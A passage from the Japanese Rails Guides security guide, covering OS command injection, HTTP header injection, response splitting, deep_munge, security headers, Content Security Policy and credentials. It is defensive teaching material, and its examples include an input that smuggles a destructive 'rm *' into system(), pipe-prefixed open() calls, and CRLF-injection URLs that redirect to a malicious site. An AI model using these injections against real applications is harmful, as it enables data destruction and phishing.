user_input = "hello; rm *" system("/bin/echo #{user_input}") # "hello"を出力し、ディレクトリ内のすべてのファイルを削除する
対策は、コマンドラインのパラメータを安全に渡せるsystem(コマンド名, パラメータ)
メソッドを使うことです。
system("/bin/echo","hello; rm *") # "hello; rm *"を実行してもファイルは削除されない
Kernel#open
の脆弱性Kernel#open
に、垂直バー|
で始まる引数を渡すとOSコマンドを実行できてしまいます。
open('| ls') { |file| file.read } # lsコマンドのファイルリストをStringとして返す
対策は、代わりにFile.open
、IO.open
、URI#open
を使うことです。これらはOSコマンドを実行しません。
File.open('| ls') { |file| file.read } # lsコマンドは実行されず、単に`| ls`というファイルが存在すれば開く IO.open(0) { |file| file.read } # stdinをオープンするが、引数をStringとして受け取らない require 'open-uri' URI('https://example.com').open { |file| file.read } # URLを開くが、`URI()`は`| ls`を受け取らない
HTTPヘッダは動的に生成されるものであり、特定の状況ではヘッダにユーザー入力が注入されることがあります。これを使って、にせのリダイレクト、XSS、HTTPレスポンス分割攻撃が行われる可能性があります。
HTTPリクエストヘッダで使われるフィールドには、Referer
、User-Agent
(クライアントソフトウェア)、Cookie
フィールドなどがあります。HTTPレスポンスヘッダーで使われるフィールドには、ステータスコード、Cookie
フィールド、Location
フィールド(リダイレクト先を表す)などがあります。これらのフィールド情報はユーザー側から提供されるものであり、多少の手間をかければ操作できてしまいます。これらのフィールドも必ずエスケープしてください。エスケープが必要になるのは、管理画面でUser-Agent
ヘッダを表示する場合などが考えられます。
さらに、ユーザー入力の一部を取り入れたレスポンスヘッダを生成する場合は、何が行われているのかを正確に理解することが重要です。たとえば、ユーザーを特定のページにいったんリダイレクトしてから元のページに戻したいとします。このとき、referer
フィールドをフォームに導入して、以下のように指定のアドレスにリダイレクトしたとします。
redirect_to params[:referer]
このとき、Railsはその文字列をLocation
ヘッダフィールドに入れてステータス302(リダイレクト)をブラウザに送信します。悪意のあるユーザーがこのとき最初に行なうのは、以下のような操作です。
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld
Rails 2.1.2より前のバージョン(およびRuby)に含まれるバグが原因で、ハッカーが以下のように任意のヘッダを注入する可能性があります。
http://www.yourapplication.com/controller/action?referer=http://www.malicious.tld%0d%0aX-Header:+Hi! http://www.yourapplication.com/controller/action?referer=path/at/your/app%0d%0aLocation:+http://www.malicious.tld
上のURLの%0d%0a
は\r\n
がURLエンコードされたものであり、RubyのCRLF文字です。2番目の例では2つ目のLocation
ヘッダーフィールドが1つ目のものを上書きするため、以下のようなHTTPヘッダーが生成されます。
HTTP/1.1 302 Moved Temporarily (...) Location: http://www.malicious.tld
ヘッダーインジェクションにおける攻撃経路は、ヘッダーへのCRLF文字インジェクションに基づいています。攻撃者は偽のリダイレクトでどんなことができてしまうのでしょうか。攻撃者は、ユーザーをフィッシングサイトにリダイレクトし(フィッシングサイトは本物そっくりに作っておきます)、そこでユーザーを再度ログインさせてそのログイン情報を攻撃者が受け取る可能性があります。あるいは、フィッシングサイトからブラウザのセキュリティホールを経由して悪質なソフトウェアを注入する可能性もあります。Rails 2.1.2では、redirect_to
メソッドのLocation
フィールドからこれらの文字をエスケープするようになりました。ユーザー入力を用いて通常以外のヘッダーフィールドを作成する場合には、CRLFのエスケープを必ず自分で実装してください。
ヘッダーインジェクションが実行可能になっている場合、レスポンス分割(response splitting)攻撃も同様に実行可能になっている可能性があります。HTTPのヘッダーブロックの末尾には2つのCRLFが置かれてヘッダーブロックの終了を示し、その後ろに実際のデータ(通常はHTML)が置かれます。レスポンス分割とは、ヘッダーフィールドに2つのCRLFを注入し、以後の行に悪意のあるHTMLを配置するという手法です。このときのレスポンスは以下のようになります。
HTTP/1.1 302 Found [最初は通常の302レスポンス] Date: Tue, 12 Apr 2005 22:09:07 GMT Location:Content-Type: text/html HTTP/1.1 200 OK [ここより下は攻撃者によって作成された次の新しいレスポンス] Content-Type: text/html <html><font color=red>hey</font></html> [任意の邪悪な入力が Keep-Alive: timeout=15, max=100 リダイレクト先のページとして表示される] Connection: Keep-Alive Transfer-Encoding: chunked Content-Type: text/html
この悪意のあるHTMLは、特定の条件下で標的ユーザーのブラウザに表示されることがあります。ただし、おそらくKeep-Alive接続が有効になっていないとこの攻撃は効かないでしょう(多くのブラウザはワンタイム接続を使っています)。しかしKeep-Aliveが無効になっていることを当てにはできません。これはいずれにしろ重大なバグであり、ヘッダーインジェクションとレスポンス分割の可能性を排除するため、Railsを2.0.5または2.1.2にアップグレードする必要があります。
Rackがクエリパラメータを解析する方法とActive Recordがパラメータを解釈する方法の組み合わせに問題があり、where
句が本来の意図に反してIS NULL
のデータベースクエリを生成してしまう可能性がありました。CVE-2012-2660、CVE-2012-2694 および CVE-2013-0155のセキュリティ問題に対応するため、Railsの動作をデフォルトでセキュアにするdeep_munge
メソッドが導入されました。
以下は、deep_munge
が実行されなかった場合に攻撃者に利用される可能性のある脆弱なコードの例です。
unless params[:token].nil? user = User.find_by_token(params[:token]) user.reset_password! end
params[:token]
が[nil]
、[nil, nil, ...]
、['foo', nil]
のいずれかの場合、nil
チェックがバイパスされますが、IS NULL
またはIN ('foo', NULL)
というwhere句がSQLクエリに追加されてしまいます。
Railsをデフォルトでセキュアにするために、deep_munge
メソッドは一部の値をnil
に置き換えます。リクエストで送信されたJSON
ベースのパラメータがどのように見えるかを以下の表に示します。
JSON | パラメータ |
---|---|
{ "person": null } |
{ :person => nil } |
{ "person": [] } |
{ :person => [] } |
{ "person": [null] } |
{ :person => [] } |
{ "person": [null, null, ...] } |
{ :person => [] } |
{ "person": ["foo", null] } |
{ :person => ["foo"] } |
リスクと取扱い上の注意を十分理解している場合に限り、以下の設定でdeep_munge
をオフにしてアプリケーションを従来の動作に戻せます。
config.action_dispatch.perform_deep_munge = false
Railsアプリケーションから受け取るすべてのHTTPレスポンスには、以下のセキュリティヘッダーがデフォルトで含まれています。
config.action_dispatch.default_headers = { 'X-Frame-Options' => 'SAMEORIGIN', 'X-XSS-Protection' => '0', 'X-Content-Type-Options' => 'nosniff', 'X-Download-Options' => 'noopen', 'X-Permitted-Cross-Domain-Policies' => 'none', 'Referrer-Policy' => 'strict-origin-when-cross-origin' }
デフォルトのヘッダー設定はconfig/application.rb
で変更できます。
config.action_dispatch.default_headers = { 'Header-Name' => 'Header-Value', 'X-Frame-Options' => 'DENY' }
以下のようにヘッダーを除去することもできます。
config.action_dispatch.default_headers.clear
よく使われるヘッダーのリストを以下に示します。
X-Frame-Options
: RailsではデフォルトでSAMEORIGIN
が指定されます。このヘッダーは、同一ドメインでのフレームを許可します。'DENY'を指定するとすべてのフレームが不許可になります。すべてのWebサイトについてフレームを許可するにはこのヘッダーを除去します。X-XSS-Protection
: Railsではデフォルトで0
が指定されます。これは非推奨化されたレガシーヘッダーであり、問題のあるレガシーXSS監査を無効にするために0
に設定してください。X-Content-Type-Options
: Railsではデフォルトでnosniff
が指定されます。このヘッダーは、ブラウザによるファイルのMIMEタイプ推測を停止します。X-Content-Security-Policy
: このヘッダーは、特定Content-Typeの読み込み元サイトを制御するための強力なメカニズムです。Access-Control-Allow-Origin
: このヘッダーは、同一オリジンポリシーのバイパスとクロスオリジン(cross-origin)リクエスト送信を許可するサイトを指定するのに使います。Strict-Transport-Security
: このヘッダーは、セキュア接続によるサイトアクセスのみをブラウザに許可するかどうかを指定するのに使います。XSSやインジェクションによる攻撃を防ぐために、アプリケーションのレスポンスヘッダーにContent Security Policy(CSP)を設定することが推奨されています。Railsでは、このヘッダーを設定するためのDSLが提供されています。
このセキュリティポリシーを適切なイニシャライザで定義します。
# config/initializers/content_security_policy.rb Rails.application.config.content_security_policy do |policy| policy.default_src :self, :https policy.font_src :self, :https, :data policy.img_src :self, :https, :data policy.object_src :none policy.script_src :self, :https policy.style_src :self, :https # 違反レポートの送信先URIを指定する policy.report_uri "/csp-violation-report-endpoint" end
グローバルに設定されたポリシーは、リソース単位でオーバーライドできます。
class PostsController < ApplicationController content_security_policy do |policy| policy.upgrade_insecure_requests true policy.base_uri "https://www.example.com" end end
または、以下で無効にできます。
class LegacyPagesController < ApplicationController content_security_policy false, only: :index end
lambdaを使うと、マルチテナントのアプリケーション内のアカウントサブドメインなどの値をリクエストごとに注入できます。
class PostsController < ApplicationController content_security_policy do |policy| policy.base_uri :self, -> { "https://#{current_user.domain}.example.com" } end end
指定されたURIに対する違反を報告するreport-uri
ディレクティブを有効にします。
Rails.application.config.content_security_policy do |policy| policy.report_uri "/csp-violation-report-endpoint" end
レガシーなコンテンツを移行するときにコンテンツの違反だけをレポートしたい場合は、設定でcontent_security_policy_report_only
属性を用いてContent-Security-Policy-Report-Onlyを設定します。
# config/initializers/content_security_policy.rb Rails.application.config.content_security_policy_report_only = true
以下のようにコントローラでオーバーライドすることもできます。
class PostsController < ApplicationController content_security_policy_report_only only: :index end
'unsafe-inline'
の利用を検討しているのであれば、、代わりにnonceの利用を検討してください。既存のコードの上にContent Security Policyを実装する場合、'unsafe-inline'
に比べてnonceは実質的な改善を提供できます。
# config/initializers/content_security_policy.rb Rails.application.config.content_security_policy do |policy| policy.script_src :self, :https end Rails.application.config.content_security_policy_nonce_generator = -> request { SecureRandom.base64(16) }
これで、以下のようにhtml_options
の中でnonce: true
を渡せばnonce値が自動的に追加されます。
<%= javascript_tag nonce: true do -%> alert('Hello, World!'); <% end -%>
javascript_include_tag
でも同じことができます。
<%= javascript_include_tag "script", nonce: true %>
セッションごとにインライン<script>
タグを許可するnonce値を含む"csp-nonce"メタタグを生成するには、csp_meta_tag
ヘルパーをお使いください。
<head> <%= csp_meta_tag %> </head>
これは、動的に読み込まれるインライン<script>
要素をRails UJSヘルパーが生成するのに使われます。
アプリケーションのコードや実行環境をセキュアにする方法については、本ガイドの範疇を超えます。ただし、セキュリティ維持のため、config/database.yml
などのデータベース接続設定ファイル、credentials.yml
にアクセスするためのマスターキー、その他の暗号化されていない秘密情報の取り扱いには十分注意してください。これらのファイルや、その他重要な情報を含む可能性のあるファイルを、環境に合わせて複数のバージョンを使い分けることで、さらにアクセス制限をかけることも検討しましょう。
Railsは秘密鍵をcredentialファイル(config/credentials.yml.enc
)に保存します。このファイルは暗号化されているため直接編集できません。Railsはcredentialファイルを暗号化するマスターキーにconfig/master.key
か環境変数ENV["RAILS_MASTER_KEY"]
を利用します。credentialファイルは、マスターキーが安全に保存されている場合に限り、バージョン管理システムに登録できます。
credentialファイルには、デフォルトでアプリケーションのsecret_key_base
が含まれますが、外部API向けのアクセスキーなどのcredentialも追加できます。
credentialファイルを編集するには、bin/rails credentials:edit
を実行します。credentialファイルが存在しない場合は作成され、マスターキーが定義されていない場合はconfig/master.key
ファイルも作成されます。
credentialファイル内の秘密情報にはRails.application.credentials
でアクセスできます。たとえば、config/credentials.yml.enc
ファイルを復号すると以下のようになっているとします。
secret_key_base: 3b7cd72... some_api_key: SOMEKEY system: access_key_id: 1234AB
このときRails.application.credentials.some_api_key
は"SOMEKEY"
を返しますが、Rails.application.credentials.system.access_key_id
は"1234AB"
を返します。
キーが空欄の場合に例外を発生させたい場合は、以下のように!
付きのメソッドを使えます。
# some_api_keyが空欄の場合... Rails.application.credentials.some_api_key! # => KeyError: :some_api_key is blank
credentialについて詳しくは、bin/rails credentials:help
で表示できます。
マスターキーは安全な場所に保管してください。マスターキーをリポジトリにコミットしてはいけません。
私たちは、(セキュリティ問題も含め)新しいバージョンの利用を推進するという理由だけで依存関係を変更することはありません。その理由は、私たちのセキュリティに関する努力とは別に、アプリケーションのオーナーが手動でgemを更新する必要があるためです。脆弱な依存関係を安全に更新するには、bundle update --conservative gem_name
をお使いください。
動きの激しいセキュリティ動向に常に目を配り、常に最新の情報を入手しましょう。新しく登場した脆弱性を見逃すと、壊滅的な損害をこうむる可能性があります。Railsのセキュリティ関連の追加リソースをご紹介します。
Railsガイドは GitHub の yasslab/railsguides.jp で管理・公開されております。本ガイドを読んで気になる文章や間違ったコードを見かけたら、気軽に Pull Request を出して頂けると嬉しいです。Pull Request の送り方については GitHub の README をご参照ください。
原著における間違いを見つけたら『Rails のドキュメントに貢献する』を参考にしながらぜひ Rails コミュニティに貢献してみてください 🛠💨✨
本ガイドの品質向上に向けて、皆さまのご協力が得られれば嬉しいです。
Railsガイド運営チーム (@RailsGuidesJP)
Railsガイドは下記の協賛企業から継続的な支援を受けています。支援・協賛にご興味あれば協賛プランからお問い合わせいただけると嬉しいです。